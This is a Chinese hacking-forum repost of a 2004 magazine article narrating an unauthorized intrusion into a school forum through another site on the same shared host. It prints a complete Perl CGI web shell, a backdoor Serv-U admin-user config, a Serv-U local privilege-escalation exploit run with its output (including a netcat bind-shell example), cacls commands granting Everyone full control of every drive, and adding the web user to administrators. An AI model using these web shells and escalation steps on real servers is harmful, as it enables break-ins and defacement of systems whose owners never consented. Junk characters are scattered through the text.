找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1961|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
/ i% n( K6 N0 A. A本文作者:angel3 ]3 d1 ^8 ~5 _( D  A- B& @9 {
文章性质:原创# v! K9 E9 G1 k: B* O
发布日期:2004-11-09
/ l  P+ d4 `& ^* p3 |; Q* q5 Q3 u注意:* G! I+ X/ Q% Q! \
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。1 v8 N- U. B: S4 C
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。' r3 F" c: b1 n5 P0 G
0 |9 A) K; f, c  P& n
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
' @* {( G5 g) F! ~6 X9 y, _1 x/ ^# [9 v" F9 {& _6 m0 O% w% H
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 * c) z' G. {7 D/ R6 @4 z

6 h. q/ f$ ]0 y8 l4 R+ O, ^4 ~  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
- X7 S2 A  Z/ m0 o) r' @) e0 F0 c! M; s- a' X6 P
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
4 W: ]$ x. Q; i0 n2 {2 O1 T- r* q8 _/ q" m% S& k0 o
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
; E1 ^' u& S$ q: ], b
- R" f; c2 z, G- J% y  没有目的的跳转目录着……
% _$ k. H% p/ A+ `4 r3 C: e; W0 E: J5 N8 r4 n# F0 K
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 5 x( S. _& O  b# q/ Q/ W
: O4 P) m0 K+ O3 g& s
  结束了吗?不,我试着 FTP 一下: 2 l/ W, e7 {/ k2 l; B4 U
; x; V7 s7 S5 j9 s' P% V
Microsoft Windows 2000 [Version 5.00.2195]8 [2 U% N4 d5 s; r) U2 Q
(C) 版权所有 1985-2000 Microsoft Corp. 9 U+ K7 e8 ~" f

* x3 a# Z+ ~- |* U% d& yC:\Documents and Settings\Administrator>ftp www.school.com
5 _, C2 ]% R; y% PConnected to www. school.com. ' s9 T! i. }1 H& Z8 d' ]( ]1 }
220 Welcome to FTP Server... ' _# P" f5 \9 L6 C6 P; [
User (www.bjtrq.com:(none)): 6 L' ?5 C8 b+ T1 q- y
331 User name okay, need password. 7 f9 J/ D; O4 M5 l+ p: b1 L
Password: ) |3 F+ @/ o% z& D! s
530 Not logged in.
  \: K& m* ?. J* L3 O; X5 p( g+ k' yLogin failed. 1 Q0 c% V! H! d( L8 @+ N
ftp> bye . ^3 ^8 S  L$ o5 F
221 Goodbye! 6 e( v* s9 D3 f0 m9 W

# X8 }# @% _2 p' C8 L7 U/ c% n! ~( y
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… & V. x+ a, R" V4 N# \8 _

3 W, Y& r; m+ ?. b/ k2 y- H; f  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
. C7 e1 z/ V/ x4 @4 O2 u7 p" _: x& f8 R% _2 Y- Y! L. w" r# s4 Z& S
Application Data
. ~# d+ h  b% o: dDocuments! A* H, o) j8 H# g" x4 @
DRM  a  `$ [- b0 j5 n( F. m& B
Favorites/ f  `8 E& t/ O9 _# t* R
Templates
' n# e2 w" v" w1 H- ]「开始」菜单
4 W% {5 j  _" N" N桌面8 k/ g/ l, t  R2 Z% d# J
* z) @! M2 Z) H# z7 C- u! e2 @3 q

2 n& R; A3 v) G- ~6 p, @( ]4 s  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ; U; b# U1 V, g, D
$ }; X! D  _; m& y. E6 _& l
ActiveState ActivePerl 5.8/ J0 V2 g; x- U( {) s0 K9 `
Administrative Tools
% U8 E! `9 b6 @- B; ^! k& KDeerfield.com
) m- i# k" e6 g4 q# pDTemp
: w4 ^3 O+ I  w+ KIPSentry
( R  z6 Y2 A) j# r* V5 M+ XMBM 50 t$ a& H# r' ], C) }# v
NetMeter
  h9 r' h' B6 b% p2 VNetwork ICE) i! R) W3 d- h. h
Persits Software AspEmail
8 Z, g/ l9 K0 l8 BPersits Software AspJpeg
9 c: Y8 V1 s# s  Q# g. c1 P7 b" c( `Serv-U FTP Server
5 t. |* r" k3 A2 g; z( _) sSymantec Client Security- L" x7 M5 w9 g0 {% T
Windows 优化大师
) [) D, }4 Z( q! S9 G+ q4 w6 U2 ?WinRAR4 m& B& S* x0 g+ z' l! m* ^
启动
( h% X  U/ V! X5 r0 f% m  B- h# _管理工具
7 |8 N8 ^( C/ Z* I7 m附件
% ^' d; p% Y7 y 5 Q7 G% D' o+ g
: o! r3 w3 K- W. C
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
, L4 [4 X" z& `5 I" J9 k+ d. X0 A/ h5 ?2 m1 y
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
9 @# n* \5 V) W2 ]
" f3 B6 t/ v# X1 F0 z, j* i; cUser281=angel|1|0
& o% h; ?1 Q7 F3 Q5 S
9 a8 `! j$ R  Q. Z9 \* J7 T1 v
( g1 t6 }% c  F9 D  然后加上
1 d" U, V$ k& E* E- B+ p7 D" Y3 X! F5 E/ |
[USER=angel|1]7 o, y4 X8 X& W  u4 K; x, Z% Q6 H
Password=ng98F85379EA68DBF97BAADCA99B69B805# Y5 @' q: M) Y, v9 y
HomeDir=D:\websites
' O( K* d6 x) Q& \RelPaths=14 t$ u0 [6 f# ~
TimeOut=6006 h# U' H, b; K! P; e& o
Maintenance=System7 \3 Y( f1 `4 D! T- a* a
Access1=D:\websites|RWAMELCDP7 i/ D$ t0 I  A8 t
SKEYValues=+ o7 x5 B0 [+ q6 K  g

, g0 O  w( O& w7 t" A  J: W5 y; N3 x$ a
7 B8 C! M* [% i7 L  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
; `0 v' b$ {& w3 y! I- f6 M6 ^6 T/ o
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
7 h5 a( {$ D  @/ }/ s6 S# j
- V  e( V$ X; N3 Y  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 * s; ^: a, x' C# @' R

' b! O- B- U+ N) x9 [) ?. }3 S  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: $ l. N6 Z  [6 Z% T

' A1 V. X' G& j& P" ]#!/usr/bin/perl/ h8 a  ^' R3 Q. W) H/ J
binmode(STDOUT);% s! a+ l$ h9 |6 O
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);5 \; G! T8 O( h- j) `
$_ = $ENV{QUERY_STRING};
5 W& a3 b" r$ ]* O) g) hs/%20/ /ig;
8 X8 e4 H/ Y4 ds/%2f/\//ig;; |+ n* Z0 x% n6 Z
$execthis = $_;  R* T7 c6 n7 l" v( H/ V# p. W) b+ e
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
" {# Z: A8 N# ^) _% Uopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
; L. q, L9 j! Y" tsystem($execthis);
: u9 H3 P1 ~, K# ]0 Ysyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);* q" j+ _  ^5 A9 m) p* S
close(STDERR);/ d& b8 W4 J3 ^( \: L
close(STDOUT);) O# N4 k0 U, P( x  M2 |
exit;
* i) o/ {5 w( P: m7 M3 y) E$ V  O" `
4 x( c/ U8 F  N/ ^8 j* G
& B& ~2 i" \7 y& a3 x# A  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 2 T% ~8 c8 Y9 U( ~1 Y7 J
( k# W3 X1 Y0 G$ H- N9 Q1 _, S
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
9 x; z+ W9 f8 K$ }! ^, D  X5 |  v* y, e9 b. s
http://anyhost//cmd.pl?d:\user\bin\su.exe ' I/ g1 s. A- ]2 u- v( K
# R8 X6 J5 a) D7 q4 }* w9 K

4 L0 I8 r: O* Y9 ~, G& t1 D* l2 W  返回: ) }5 f5 {; p- Q7 [, Y3 @& d
- A1 [* Y! Q: S$ |  q
Serv-u >3.x Local Exploit by xiaolu
& [& Z8 m1 B% B2 _8 m  }1 c+ b; T( _% r7 x
USAGE: serv-u.exe "command"
5 o0 a, m6 |! K2 I" }2 H: M( x" u7 x% u& ^! n2 w; x' X
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" " T. G+ A- d3 ^3 w8 L

2 ?8 g  u7 k/ J. t" e$ [$ u" e) V( `. N2 B2 o9 N, g
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ) H( l! }  g* ~
3 z) \6 r. d* p' W, R" \5 ~; P
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 3 q# p+ f- S, i( [- S/ Y

, @6 @+ d  A$ z4 p  ehttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
/ w% q. ~* r2 f  d
% c$ ]9 @, I( i5 Chttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 0 S3 x) Z1 ?, T  o$ {* [9 r. L

8 B6 _% l; f, L9 ~7 u# z2 r' Mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
0 m: q6 |* a2 u / d& i1 I( I( Z) |- z9 a& K: h

) `: d$ k# ^8 h2 }8 m  返回下面的信息,就表示成功了!!!
/ K) }5 o; R7 \4 t$ m4 n
) w0 ~8 u) y- W0 m! V3 _Serv-u >3.x Local Exploit by xiaolu
* C. L; ~" E* x& V9 t* A
' S3 X3 ~6 a9 \1 C<220 Serv-U FTP Server v5.2 for WinSock ready... / t. u4 f$ y) u6 f# z& s" C: U
" b1 K1 |! R- L6 w0 k
>USER LocalAdministrator . T. j- x/ q& u" G
, ^9 D* ]3 f6 g# I! _) x  x& C
<331 User name okay, need password.
: d: E2 c( u/ o2 h5 J
* ?# H. b& A% F- R******************************************************
/ r+ N& ?6 T; Q9 h2 X0 O' L
5 b7 E  f( }# m9 h4 s; n5 m>PASS #l@$ak#.lk;0@P , Y' U* O8 s2 e, X3 M% k$ Y  s
1 P( |7 j$ @2 o, ^
<230 User logged in, proceed.
5 G) S# q& u. q+ v. p2 a" x$ t1 g( |
& z1 T! z6 K- d$ j( h/ _6 x******************************************************
* D( b+ Q: e& }; _  a8 c0 ?
% l7 @' _; J. I" J8 k6 s* _>SITE MAINTENANCE 2 K" j( }. h, `1 ~# n

/ V5 ^# }  u+ C& A- w( o4 Q****************************************************** ) Q. R8 h, K* R. J; ?* }6 o

7 ^' y4 p1 h- d# Y/ q7 t[+] Creating New Domain... $ w' n% \+ {) b% q3 c
6 \- ~" K) p0 L: R9 Y. ~
<200-DomainID=2 ! y2 }4 U+ q3 b! v

, Y7 H( a- e; s$ p$ B<220 Domain settings saved # \& F: m& i4 t, n: H1 N  F- h' o

9 Y9 e! Z3 J! o******************************************************   [7 e* w: L1 J
/ @: S% R0 v' w7 V2 q! f- q
[+] Domain xl:2 Created " v7 _; v6 H2 `# a

! J+ X& b$ A3 \4 Q* q$ ?4 ~$ l# d! c[+] Creating Evil User
+ M$ X" y" Z1 ]7 R! S; s# N6 r! j$ Y- [$ g5 H
<200-User=xl $ @) g% G# |- H3 G9 ^. x
; \. M4 ^$ ]" J, ~
200 User settings saved & F- d7 z( ?' @. H0 D3 j$ G

0 Y' _! i2 V+ V. m******************************************************
+ n* I# q3 T! }) f! P8 @/ Q1 A
; z' _4 b9 K+ ~" o[+] Now Exploiting...
% l# B5 |8 b- Y2 ~
# p$ h) S; b3 v/ M+ J>USER xl , a" M2 R8 B1 b  C1 p/ q/ w
; a3 Z  u" G9 o3 @0 R5 N
<331 User name okay, need password.
( k, H* L; m- {
: d- O+ X6 p4 X2 @1 S% l****************************************************** # c1 m' F$ \+ f" j0 a

' N) G5 F7 {0 F. a>PASS 111111 3 ~( u5 W: g7 E, e, o$ h

7 w0 j) x/ A; j* m$ O; G! k<230 User logged in, proceed.
' J3 \7 x; k2 v) Q1 K' x: I/ q9 d4 c4 t( H2 Z
******************************************************
8 k: ?! k) P2 l7 V0 k5 d3 v8 O! {4 y
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
/ |. @9 Y+ z6 S7 v: t  X
; x  L: v4 ^0 A  a<220 Domain deleted # x+ E) d. l; N; P/ W% x
/ k& `, o8 t) f5 N, |
******************************************************
7 S5 v2 k& D$ i( ?8 Q 5 c$ {3 ~2 Y% _9 t, ]5 c

3 F0 s/ w  e2 O  C  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: , W! n# s1 z! n3 b% r" g) c4 ^

" C0 v, f  h# |! D" ^2 q! e: Khttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 2 D: |" w) w7 M, K9 l4 I! M
( u1 U3 d2 z2 O9 ~- t/ {
  V, |8 K" B1 Z' b( G, O3 f9 u
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
) {. Q; F( u. M2 a/ t3 D  c% l6 T" h3 `* U; \+ s3 K% q" Y, |% x
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。, P5 w- \+ \. R- N1 X& W

: X% B! W9 [: c" N& C4 r) \  0 J  h! d5 j' x# }$ G; h% a  ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表